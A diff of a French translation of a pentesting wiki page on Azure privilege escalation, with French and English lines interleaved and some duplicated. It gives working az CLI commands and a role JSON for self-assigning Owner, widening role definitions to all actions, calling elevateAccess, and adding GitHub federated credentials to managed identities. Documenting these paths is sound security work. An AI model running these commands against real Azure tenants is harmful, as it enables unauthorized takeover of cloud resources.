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Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

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src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md
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@@ -4,7 +4,7 @@
## Azure IAM
Pour plus d'informations, consultez :
Fore more information check:
{{#ref}}
../az-services/az-azuread.md
@@ -12,38 +12,45 @@ Pour plus d'informations, consultez :
### Microsoft.Authorization/roleAssignments/write
Cette permission permet d'assigner des rôles à des principaux sur un périmètre spécifique, permettant à un attaquant d'escalader les privilèges en s'assignant un rôle plus privilégié :
This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
Cette permission permet de modifier les permissions accordées par un rôle, permettant à un attaquant d'escalader les privilèges en accordant plus de permissions à un rôle qu'il a assigné.
This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
Create the file `role.json` with the following **content**:
Créez le fichier `role.json` avec le **contenu** suivant :
```json
{
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"]
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"]
}
```
Ensuite, mettez à jour les autorisations de rôle avec la définition précédente en appelant :
Then update the role permissions with the previous definition calling:
```bash
az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
Cette autorisation permet d'élever les privilèges et de pouvoir attribuer des autorisations à tout principal sur les ressources Azure. Elle est destinée à être accordée aux Administrateurs Globaux d'Entra ID afin qu'ils puissent également gérer les autorisations sur les ressources Azure.
This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
> [!TIP]
> Je pense que l'utilisateur doit être Administrateur Global dans Entra ID pour que l'appel d'élévation fonctionne.
> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -51,22 +58,27 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Cette permission permet d'ajouter des identifiants fédérés aux identités gérées. Par exemple, donner accès à Github Actions dans un dépôt à une identité gérée. Ensuite, cela permet **d'accéder à toute identité gérée définie par l'utilisateur**.
This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**.
Example command to give access to a repo in Github to the a managed identity:
Exemple de commande pour donner accès à un dépôt dans Github à une identité gérée :
```bash
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
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